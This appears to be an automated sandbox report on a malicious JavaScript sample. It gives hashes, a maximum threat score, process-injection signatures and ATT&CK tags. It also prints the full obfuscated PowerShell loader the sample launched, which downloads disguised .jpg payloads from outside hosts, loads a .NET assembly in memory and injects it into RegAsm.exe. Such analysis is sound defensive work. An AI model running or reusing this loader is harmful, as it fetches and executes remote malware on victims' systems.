4e7b1bd921cbfbbc4dea263e444d59c9c0f28b18f9b1a2c57a9bec5a1a6766f5

Analysis

max time kernel
148s
max time network
95s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/06/2026, 08:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_4e7b1bd921cbfbbc4dea263e444d59c9c0f28b18f9b1a2c57a9bec5a1a6766f5.js
Size 72KB
Sample260623-kcrbpabs9r
SHA256 4e7b1bd921cbfbbc4dea263e444d59c9c0f28b18f9b1a2c57a9bec5a1a6766f5
MD5 d9cf88564079f0d7a40e6916f536de1f
SHA1 9db8c77fd8967858df5d367f26217d22dbd832d4
SHA512 2427780070daa375232c448b14d02a637c62e0c38dbe04e3c5d4cf8cc92044febfea3272a09fdfb66b7bbfc133c24a8124b76ba773d2beb18ef2628a7743f63b
SSDEEP 768:r+UbF7Sx5zOMFRbY7+1O+5wHqJjPRSyuWEmLfaYsdP4kcNadr4gCLxH2Jid8qsAw:Ogc3GZ
TLSH
T1D37322F02EC2B2F82619DA97EDBA6C9184F143454EE462BB05D2108FF865ADB4DF3744
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2380	5624	powershell.exe	88

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	2380	powershell.exe
2	2380	powershell.exe
4	2380	powershell.exe
5	2380	powershell.exe
6	2380	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2380	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2380 set thread context of 5440	2380	powershell.exe	91

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2380	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 5440	2380	powershell.exe	91
PID 2380 wrote to memory of 5440	2380	powershell.exe	91
PID 2380 wrote to memory of 5440	2380	powershell.exe	91
PID 2380 wrote to memory of 5440	2380	powershell.exe	91
PID 2380 wrote to memory of 5440	2380	powershell.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\_4e7b1bd921cbfbbc4dea263e444d59c9c0f28b18f9b1a2c57a9bec5a1a6766f5.js
1⤵
PID:2324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$ddsfdfdjhsdfgdgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBg#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHQAdABwADoALwAvACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAaQBuAGsAcwAgAD0AIABAACgAKAAkAGwAZgBzAGQAZgBzAGQAZwAgACsAIAAnAGsAegBhAGEALgBjAG8ALgB6AGEALwAxAC4AagBwAGcAJwApACwAKAAkAGwAZgBzAGQAZgBzAGQAZwAgACsAIAAnADYANgAuADYAMwAuADEANwAwAC4AMwAzAC8AaQBtAGcALwAxAC4AagBwAGcAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAJABsAGkAbgBg#AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABTAFQAQQAnACAAKwAgACcAUgBUAD4APgAnADsAIAAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAJwAgACsAIAAnAEUATgBEAD4APgAnADsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvACcAIAAg#ACAAJwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjAD0AJwBSAGUAZwAnACAAKwAgACcAQQBzAG0AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAGcAZwAgAD0AIAAnAHQAWQBnAEsARgBaAEwAZQB4AGUASgByAHUAdAB5AFQANABtAGoAQwBiAFUARAB6AGoAcQBOAHgATQBDAGUAWQBBAFMATQBMADcAcwBQAG4AVAB3AEYAZABtAFEALwBzAGYAcABpAC8AbQBvAGMALgBlAHMAYQBiAGUAbABpAGYAeQBtAC4AawBjAGkAdAAtAGsAYwBhAGwAYgAtAGwAYQB0AG4AZQByAGEAcAAvAC8AOgBzAGcAcwBnAGQAZgBmAGYAZwBoAHMAZgBkACcAIAA7ACAAJABnAGcAZwAgAD0AIAAkAGcAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAAMQAyACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGYAIAA9ACAAJwAwACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHIAdQBuACcAIAAg#ACAAJwBzAHMAJwApAC4ASQBuAHYAbwBg#AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnAGcAIAAsACQAZgAsACAAJwAnACwAIAAkAGkAbgBqAGUAYwAsACAAJwAwACcAIAAsACAAJwB4ADYANAAnACkAKQB9AH0A';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('g#','r')));iex $OhgjuxD"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
  2⤵
  PID:5440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2380-10-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-12-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-5-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-11-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-6-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-7-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-8-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-9-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-1-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-0-0x00007FFFD5D7F000-0x00007FFFD5D80000-memory.dmp

Download

memory/2380-4-0x000002C89ED00000-0x000002C89ED22000-memory.dmp

Download

memory/2380-13-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-14-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-15-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-17-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/2380-18-0x000002C89D220000-0x000002C89D23A000-memory.dmp

Download

memory/2380-23-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp

Download

memory/5440-19-0x000001FE64380000-0x000001FE64440000-memory.dmp

Download

memory/5440-21-0x000001FE64380000-0x000001FE64440000-memory.dmp

Download